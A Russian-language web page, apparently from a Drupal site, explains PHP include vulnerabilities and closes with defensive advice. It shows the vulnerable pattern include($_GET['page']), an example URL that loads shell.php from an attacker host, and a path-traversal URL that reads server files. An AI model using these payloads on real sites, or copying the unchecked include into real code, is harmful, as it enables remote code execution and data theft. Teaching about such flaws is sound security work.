Сообщение об ошибке

User warning: The following theme is missing from the file system: responsive_green. For information about how to fix this, see the documentation page. in _drupal_trigger_error_with_delayed_logging() (line 1143 of /var/www/moscovie.com/includes/bootstrap.inc).

Include - уязвимости

Данная уязвимость появляется в плохо спроектированных веб-
приложениях, где поступающие от пользователя при запросе к
ресурсам данные некорректно используются на сервере для под-
ключения модулей-обработчиков. В случае уязвимого приложения
файл с вредоносным кодом, закачанный на сервер пользователем
посредством функций самого веб-приложения либо с использова-
нием каталогов с общим доступом на Shared-хостинге, может быть
выполнен на сервере.
Например,на вашем сайте есть URL
/index.php?page=main.html, а в index.php запросы обрабатывает
такой код:
$page = $_GET[’page’];
include($page);

Очевидно, любой пользователь может зайти на страницу вида
/index.php?page=http://hackrsite.com/shell.php и выполнить произ-
вольный код на вашем веб-сервере, если на нем разрешены уда-
ленные include
.

В ином случае можно посмотреть содержимое
любого файла и скрипта на сервере, перейдя по ссылке вида
/index.php?page=../../mysecretfile.txt.

Для исключения Include-уязвимостей веб-приложения следует
включать файлы кода, проверяя их принадлежность к исходному
веб-приложению,
для чего обычно составляется список активных
модулей.
Следует также использовать фреймворки создания веб-
приложений, обеспечивающие модульность и защиту от данного ро-
да уязвимостей.

Категория: 
The code has been tested and works

Добавить комментарий

Filtered HTML

  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <a> <em> <strong> <cite> <blockquote> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Строки и параграфы переносятся автоматически.

Plain text

  • HTML-теги не обрабатываются и показываются как обычный текст
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.